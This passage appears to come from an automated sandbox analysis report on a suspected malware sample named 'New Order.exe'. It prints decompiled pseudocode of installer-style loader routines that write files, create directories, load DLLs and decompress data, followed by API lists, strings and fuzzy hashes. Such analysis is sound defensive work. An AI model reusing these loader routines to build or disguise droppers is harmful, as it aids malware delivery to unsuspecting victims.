									_t88 =  *0x40b070; // 0x40f0e0
									L24:
									if(_v24 != 1) {
										continue;
									}
									goto L45;
								}
								_t78 = WriteFile(_a8, _t88, _t101,  &_v20, 0); // executed
								if(_t78 == 0 || _v20 != _t101) {
									goto L29;
								} else {
									_v8 = _v8 + _t101;
									goto L24;
								}
							}
						}
						_push(0xfffffffc);
						goto L35;
					}
					goto L34;
				}
			}

0x00402e96
0x00402e9a
0x00402e9d
0x00402ea2
0x00402ea4
0x00402ea4
0x00402eab
0x00402eaf
0x00402eb3
0x00402eb5
0x00402eb5
0x00402eba
0x00402ebf
0x00402eca
0x00402eca
0x00402ed5
0x00402edc
0x0040302c
0x0040302c
0x00000000
0x00402ee2
0x00402ee6
0x00403017
0x0040306c
0x00403031
0x00403037
0x00403039
0x00403039
0x0040304a
0x00000000
0x0040304c
0x0040305f
0x00403011
0x00403011
0x0040302e
0x0040302e
0x00000000
0x00403066
0x00403066
0x00403069
0x00000000
0x00403069
0x0040305f
0x0040304a
0x00403077
0x00000000
0x00403077
0x0040301c
0x0040301e
0x0040301e
0x0040302a
0x00403074
0x00000000
0x00000000
0x00000000
0x00000000
0x0040302a
0x00402ef7
0x00402efa
0x00402eff
0x00402eff
0x00402f09
0x00402f0c
0x00000000
0x00000000
0x00000000
0x00000000
0x00402f12
0x00402f12
0x00402f12
0x00402f1a
0x00402f1c
0x00402f1c
0x00402f2d
0x00000000
0x00000000
0x00402f33
0x00402f36
0x00402f3c
0x00402f42
0x00402f4a
0x00402f50
0x00402f55
0x00402f5c
0x00402f5f
0x00000000
0x00000000
0x00402f65
0x00402f6b
0x00402f6d
0x00402f7a
0x00402f7c
0x00402faa
0x00402fb0
0x00402fb9
0x00402fbe
0x00402fbe
0x00402fc5
0x00403005
0x00000000
0x00000000
0x00000000
0x00402fc7
0x00402fca
0x00402fea
0x00402fed
0x00402ff0
0x00402ff6
0x00402ffa
0x00000000
0x00000000
0x00000000
0x00403000
0x00402fd6
0x00402fde
0x00000000
0x00402fe5
0x00402fe5
0x00000000
0x00402fe5
0x00402fde
0x00402fc5
0x0040300d
0x00000000
0x0040300d
0x00000000
0x00402f12

APIs

GetTickCount.KERNEL32 ref: 00402EEC
GetTickCount.KERNEL32 ref: 00402F6D
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F9A
wsprintfA.USER32 ref: 00402FAA
WriteFile.KERNELBASE(00000000,00000000,0040F0E0,00000000,00000000), ref: 00402FD6

Strings

... %d%%, xrefs: 00402FA4

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction ID: 896dd5a5e80e39cb813739a9bcc38eeef40bacba50e05a76af68061f47ce39f0
Opcode Fuzzy Hash: b944acebcfd11712949cb6564d56ed346294539165133d47b9c6a5aca850bb39
Instruction Fuzzy Hash: 13518A3190120AABDF10DF65DA04AAF7BB8EB00395F14413BFD11B62C4D7789E41CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405346, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405346(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x40735c;
				_v36.Group = 0x40735c;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x40734c;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405351
0x00405355
0x00405358
0x0040535e
0x00405362
0x00405366
0x0040536e
0x00405375
0x0040537b
0x00405382
0x00405389
0x00405391
0x00405393
0x00000000
0x00405393
0x0040539d
0x004053a4
0x004053ba
0x00000000
0x00000000
0x00000000
0x004053bc
0x004053c0

APIs

CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389
GetLastError.KERNEL32 ref: 0040539D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 004053B2
GetLastError.KERNEL32 ref: 004053BC

Strings

Ls@, xrefs: 0040537B
\s@, xrefs: 0040534C
C:\Users\user\Desktop, xrefs: 00405346

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop$Ls@$\s@
API String ID: 3449924974-3927138272
Opcode ID: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction ID: c25a7037d2469be4335b8e9940eeaad57ca25a66f44a15dc7ff8fd6819e2376f
Opcode Fuzzy Hash: 6211b517ce48024f91031cad3a720f7e2baa8210faa46a43940225e11b136f78
Instruction Fuzzy Hash: 030108B1D14219EAEF119FA4CC047EFBFB8EB14354F004176D904B6280D7B8A604DFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405EBA, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EBA(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				_t5 = _t16 + 0x409010; // 0x5c
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
				_t14 = LoadLibraryExA( &_v292, 0, 8); // executed
				return _t14;
			}

0x00405ed1
0x00405eda
0x00405edc
0x00405edc
0x00405ee0
0x00405ef2
0x00405eec
0x00405eec
0x00405eec
0x00405ef6
0x00405f0a
0x00405f1e
0x00405f25

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405ED1
wsprintfA.USER32 ref: 00405F0A
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00405F1E

Strings

%s%s.dll, xrefs: 00405F04
\, xrefs: 00405EE2
UXTHEME, xrefs: 00405EC3

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction ID: e0394f74180a6a16eba84a37178681bb1de021cb3750537530e5e19d16d25b78
Opcode Fuzzy Hash: 95ac327f182d4f2ec24d2199b65981d3e05ead90002209c0018270c035d5f6e2
Instruction Fuzzy Hash: AFF09C3094050967DB159B68DD0DFFB365CF708305F1405B7B586E11C2DA74E9158FD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040589E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040589E(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x004058a2
0x004058a8
0x004058a9
0x004058a9
0x004058aa
0x004058b1
0x004058bb
0x004058c8
0x004058cb
0x004058d3
0x00000000
0x00000000
0x004058d7
0x00000000
0x00000000
0x004058d9
0x00000000
0x004058d9
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004058B1
GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 004058CB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004058A1, 004058A5
"C:\Users\user\Desktop\New Order.exe" , xrefs: 0040589E
nsa, xrefs: 004058AA

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\New Order.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1697912823
Opcode ID: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction ID: e60e9e2f6482c2c4b9a71223117799e22c549444224f45eff9547ee1bfe60b0e
Opcode Fuzzy Hash: 0450f55a1c395314d18141c5bfd7e62b2554956accf044952057d9506f78994b
Instruction Fuzzy Hash: 46F0A7373482447AE7105E55DC04B9B7F9DDFD1750F10C027FE049A280D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1000198F, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000198F(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				struct HINSTANCE__* _t34;
				intOrPtr _t38;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				intOrPtr _t53;
				signed int _t57;
				signed int _t61;
				void* _t65;
				void* _t66;
				void* _t70;
				void* _t74;

				_t74 = __esi;
				_t66 = __edi;
				_t65 = __edx;
				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				 *0x10004060 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E1000189E);
				_push(1); // executed
				_t34 = E10001D3B(); // executed
				_t50 = _t34;
				if(_t50 == 0) {
					L28:
					return _t34;
				} else {
					if( *((intOrPtr*)(_t50 + 4)) != 1) {
						E100023F6(_t50);
					}
					E10002440(_t65, _t50);
					_t53 =  *((intOrPtr*)(_t50 + 4));
					if(_t53 == 0xffffffff) {
						L14:
						if(( *(_t50 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t50 + 4)) == 0) {
								_t34 = E100025FE(_t65, _t50);
							} else {
								_push(_t74);
								_push(_t66);
								_t12 = _t50 + 0x818; // 0x818
								_t57 = 8;
								memcpy( &_v36, _t12, _t57 << 2);
								_t38 = E100018A1(_t50);
								_t15 = _t50 + 0x818; // 0x818
								_t70 = _t15;
								 *((intOrPtr*)(_t50 + 0x820)) = _t38;
								 *_t70 = 3;
								E100025FE(_t65, _t50);
								_t61 = 8;
								_t34 = memcpy(_t70,  &_v36, _t61 << 2);
							}
						} else {
							E100025FE(_t65, _t50);
							_t34 = GlobalFree(E1000159E(E100018A1(_t50)));
						}
						if( *((intOrPtr*)(_t50 + 4)) != 1) {
							_t34 = E100025C4(_t50);
							if(( *(_t50 + 0x810) & 0x00000040) != 0 &&  *_t50 == 1) {
								_t34 =  *(_t50 + 0x808);
								if(_t34 != 0) {
									_t34 = FreeLibrary(_t34);
								}
							}
							if(( *(_t50 + 0x810) & 0x00000020) != 0) {
								_t34 = E10001825( *0x10004054);
							}
						}
						if(( *(_t50 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t50);
						}
					}
					_t44 =  *_t50;
					if(_t44 == 0) {
						if(_t53 != 1) {
							goto L14;
						}
						E100014C7(_t50);
						L12:
						_t50 = _t44;
						L13:
						goto L14;
					}
					_t45 = _t44 - 1;
					if(_t45 == 0) {
						L8:
						_t44 = E1000120C(_t53, _t50); // executed
						goto L12;
					}
					_t46 = _t45 - 1;
					if(_t46 == 0) {
						E100027AC(_t50);
						goto L13;
					}
					if(_t46 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x1000198f
0x1000198f
0x1000198f
0x10001999
0x100019a1
0x100019ae
0x100019bc
0x100019bf
0x100019c1
0x100019c6
0x100019cb
0x10001ade
0x10001ade
0x100019d1
0x100019d5
0x100019d8
0x100019dd
0x100019df
0x100019e5
0x100019eb
0x10001a1b
0x10001a22
0x10001a46
0x10001a85
0x10001a48
0x10001a48
0x10001a49
0x10001a4c
0x10001a52
0x10001a56
0x10001a59
0x10001a5e
0x10001a5e
0x10001a65
0x10001a6b
0x10001a71
0x10001a7d
0x10001a7e
0x10001a81
0x10001a24
0x10001a25
0x10001a3a
0x10001a3a
0x10001a8f
0x10001a92
0x10001a9f
0x10001aa6
0x10001aae
0x10001ab1
0x10001ab1
0x10001aae
0x10001abe
0x10001ac6
0x10001acb
0x10001abe
0x10001ad3
0x00000000
0x10001ad5
0x00000000
0x10001ad6
0x10001ad3
0x100019ef
0x100019f2
0x10001a10
0x00000000
0x00000000
0x10001a13
0x10001a18
0x10001a18
0x10001a1a
0x00000000
0x10001a1a
0x100019f4
0x100019f5
0x100019fd
0x100019fe
0x00000000
0x100019fe
0x100019f7
0x100019f8
0x10001a06
0x00000000
0x10001a06
0x100019fb
0x00000000
0x00000000
0x00000000
0x100019fb

APIs

Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F80
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F85
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F8A

GlobalFree.KERNEL32 ref: 10001A3A
FreeLibrary.KERNEL32(?), ref: 10001AB1
GlobalFree.KERNEL32 ref: 10001AD6

Part of subcall function 100023F6: GlobalAlloc.KERNEL32(00000040,E8002080), ref: 10002428

Part of subcall function 100027AC: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,?,10001A0B,00000000), ref: 100027FC

Part of subcall function 100018A1: lstrcpyA.KERNEL32(00000000,10004018,00000000,10001967,00000000), ref: 100018BA

Part of subcall function 100025FE: wsprintfA.USER32 ref: 10002661
Part of subcall function 100025FE: GlobalFree.KERNEL32 ref: 10002706
Part of subcall function 100025FE: GlobalFree.KERNEL32 ref: 1000272F

Strings

, xrefs: 10001AB7

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: cc2172aae9428d7729c1cd1f9767f5c99f96f95dfb3527aa64e3656f829a4ce9
Instruction ID: 1b0dc91ba56891906fbd81f42daf338cc13d67ac49f1a81c08d76b9c21eb2167
Opcode Fuzzy Hash: cc2172aae9428d7729c1cd1f9767f5c99f96f95dfb3527aa64e3656f829a4ce9
Instruction Fuzzy Hash: 0031B175601245AAFB41DF649CC5BDA3BE8FF062E0F048425FD066A09FCF749845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00401F84, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401F84(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x423ff8");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x423fc8 =  *0x423fc8 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402A29(0xfffffff0);
				 *(_t34 + 8) = E00402A29(1);
				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404E84(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x425000, 0x40b010, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x20)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E0040358B(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f84
0x00401f84
0x00401f89
0x00401f90
0x0040204c
0x00402197
0x00402197
0x004028be
0x004028c1
0x004028cd
0x004028cd
0x00401f9f
0x00401fa9
0x00401fac
0x00401fbb
0x00401fbf
0x00401fc5
0x00401fc9
0x00402045
0x00000000
0x00402045
0x00401fcb
0x00401fd5
0x00401fd9
0x0040201d
0x00401fdb
0x00401fde
0x00401fe1
0x00402011
0x00401fe3
0x00401fe6
0x00401fef
0x00401ff1
0x00401ff1
0x00401fef
0x00401fe1
0x00402025
0x0040203a
0x0040203a
0x00000000
0x00402025
0x00401faf
0x00401fb5
0x00401fb9
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401FAF

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FBF
GetProcAddress.KERNEL32(00000000,?), ref: 00401FCF
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040203A

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 7d6bbd44808b66ffa584f43e8c4aa3573383001e876b7905c6c28b9b395068af
Instruction ID: 27648393275eec621602a0353e8cc2bfbc6c1dadd98057bfccdba155e6fc7477
Opcode Fuzzy Hash: 7d6bbd44808b66ffa584f43e8c4aa3573383001e876b7905c6c28b9b395068af
Instruction Fuzzy Hash: 07215732D04215ABDF216FA48F4DAAE7970AF44354F60423FFA11B22E0CBBC4981D65E

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004015B3(char __ebx) {
				void* _t13;
				int _t19;
				char _t21;
				void* _t22;
				char _t23;
				signed char _t24;
				char _t26;
				CHAR* _t28;
				char* _t32;
				void* _t33;

				_t26 = __ebx;
				_t28 = E00402A29(0xfffffff0);
				_t13 = E0040571F(_t28);
				_t30 = _t13;
				if(_t13 != __ebx) {
					do {
						_t32 = E004056B6(_t30, 0x5c);
						_t21 =  *_t32;
						 *_t32 = _t26;
						 *((char*)(_t33 + 0xb)) = _t21;
						if(_t21 != _t26) {
							L5:
							_t22 = E004053C3(_t28);
						} else {
							_t38 =  *((intOrPtr*)(_t33 - 0x20)) - _t26;
							if( *((intOrPtr*)(_t33 - 0x20)) == _t26 || E004053E0(_t38) == 0) {
								goto L5;
							} else {
								_t22 = E00405346(_t28); // executed
							}
						}
						if(_t22 != _t26) {
							if(_t22 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
							} else {
								_t24 = GetFileAttributesA(_t28); // executed
								if((_t24 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						_t23 =  *((intOrPtr*)(_t33 + 0xb));
						 *_t32 = _t23;
						_t30 = _t32 + 1;
					} while (_t23 != _t26);
				}
				if( *((intOrPtr*)(_t33 - 0x24)) == _t26) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405B98("C:\\Users\\jones\\AppData\\Local\\Temp", _t28);
					_t19 = SetCurrentDirectoryA(_t28); // executed
					if(_t19 == 0) {
						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
					}
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t33 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d2
0x004015d4
0x004015d8
0x004015db
0x004015f3
0x004015f4
0x004015dd
0x004015dd
0x004015e0
0x00000000
0x004015eb
0x004015ec
0x004015ec
0x004015e0
0x004015fb
0x00401602
0x0040160f
0x0040160f
0x00401604
0x00401605
0x0040160d
0x00000000
0x00000000
0x0040160d
0x00401602
0x00401612
0x00401615
0x00401617
0x00401618
0x004015c8
0x0040161f
0x0040164a
0x00402197
0x00401621
0x00401623
0x0040162e
0x00401634
0x0040163c
0x00401642
0x00401642
0x0040163c
0x004028c1
0x004028cd

APIs

Part of subcall function 0040571F: CharNextA.USER32(004054D1,?,00421940,00000000,00405783,00421940,00421940,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040572D
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405732
Part of subcall function 0040571F: CharNextA.USER32(00000000), ref: 00405741

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 00405346: CreateDirectoryA.KERNELBASE(?,?,00000000), ref: 00405389

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401629

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 1892508949-47812868
Opcode ID: 68e7b39f27e2b00361e68aa136da5f419b93ec0988189e82b4baa53dd5dee2d9
Instruction ID: 7e794a0d764ef42534189bc4677109bd04a63590121f3ac1906b169044d7ab5d
Opcode Fuzzy Hash: 68e7b39f27e2b00361e68aa136da5f419b93ec0988189e82b4baa53dd5dee2d9
Instruction Fuzzy Hash: 67112B35504141ABEF317BA55D419BF26B0EE92314728063FF582722D2C63C0943A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00406609, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E00406609() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
